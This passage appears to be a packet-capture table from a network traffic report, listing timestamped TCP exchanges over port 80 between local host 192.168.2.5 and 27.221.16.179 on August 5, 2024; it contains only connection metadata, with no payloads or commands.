Aug 5, 2024 11:59:39.012202024 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012212038 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012214899 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012228012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012233973 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012255907 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012259960 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012270927 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012299061 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012341976 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012351036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012384892 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012423992 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012439013 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012460947 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012518883 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012528896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012558937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012592077 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012613058 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012625933 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012660980 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012681961 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012696028 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012729883 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012748957 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012763023 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012795925 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012816906 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012829065 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012861967 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012881041 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.012914896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012965918 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.012969971 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013001919 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013032913 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013056993 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013066053 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013099909 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013118982 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013150930 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013185024 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013206005 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013217926 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013268948 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013279915 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013303995 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013343096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013371944 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013376951 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013411045 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013428926 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013443947 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013477087 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013497114 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013509989 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013540983 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013556957 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013577938 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013611078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013642073 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013644934 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013679981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013700962 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013801098 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013834000 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013849020 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013869047 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013901949 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013921022 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013935089 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013967991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.013989925 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.013999939 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014034033 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014054060 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014066935 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014100075 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014123917 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014136076 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014168978 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014192104 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014203072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014235973 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014256001 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014270067 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014302969 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014323950 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014337063 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014370918 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014394045 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014403105 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014436960 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014456034 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014472961 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014506102 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014533043 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014538050 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014571905 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014595032 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014604092 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014637947 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014657974 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014671087 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014703989 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014729023 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014738083 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014771938 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014791012 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014805079 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014837027 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014854908 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014872074 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014904022 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014924049 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.014938116 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014970064 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.014986992 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.015011072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.015038967 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.015064001 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.066919088 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.323664904 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323684931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323698044 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323771954 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.323848963 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323868036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323873997 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323879957 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323888063 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323898077 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323904037 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323914051 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323925972 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323931932 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323937893 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323949099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323951960 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.323956013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323970079 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323981047 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.323987961 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.323992968 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324006081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324007034 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.324018002 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324028015 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.324053049 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.324100971 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324120998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324151039 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.324155092 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324199915 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.324264050 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324315071 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324348927 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324369907 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.324382067 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324415922 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324430943 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.324450970 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.324512959 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.325777054 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.325968981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.325999975 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326019049 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.326047897 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326098919 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326102972 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.326133013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326181889 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.326184034 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326219082 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326251030 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326266050 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.326284885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326316118 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326325893 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.326349974 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326383114 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326407909 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.326416969 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.326464891 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.341931105 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.341983080 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342015982 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342035055 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342050076 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342094898 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342102051 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342134953 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342168093 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342178106 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342200994 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342247009 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342252970 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342284918 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342318058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342331886 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342367887 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342418909 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342418909 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342453957 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342489004 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342503071 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342526913 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342560053 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342576981 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342592955 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342624903 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342638969 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342658997 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342705011 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342710972 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342766047 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342797995 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342820883 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342830896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342879057 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.342888117 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342937946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342971087 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.342984915 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343004942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343039989 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343053102 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343072891 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343106031 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343116045 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343138933 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343188047 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343188047 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343223095 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343267918 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343271971 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343307018 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343338966 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343354940 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343372107 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343404055 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343417883 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343436956 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343476057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343487978 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343509912 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343542099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343554974 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343575954 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343609095 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343625069 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343641043 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343677998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343687057 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343709946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343743086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343755007 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343776941 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343810081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343825102 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343842030 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343875885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343897104 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343908072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343940020 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.343952894 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.343974113 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.344007015 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.344018936 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.344039917 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.344074011 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.344086885 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.344109058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.344153881 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.612524986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612610102 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612646103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612689972 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.612698078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612734079 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612752914 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.612766981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612801075 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612823963 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.612833023 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612865925 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612891912 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.612899065 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612948895 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.612956047 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.612998962 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613054991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613055944 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613086939 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613120079 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613137007 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613171101 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613203049 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613224030 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613235950 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613267899 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613287926 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613301039 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613351107 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613379002 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613382101 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613415956 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613439083 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613445997 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613477945 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613497972 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613511086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613542080 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613563061 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613574028 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613606930 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613646030 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613647938 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613682985 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613709927 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613714933 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613748074 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613781929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613801956 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.613816023 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.613848925 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.614811897 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.614862919 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.614872932 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.614897013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.614944935 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.614954948 CEST	49762	80	192.168.2.5	27.221.16.179
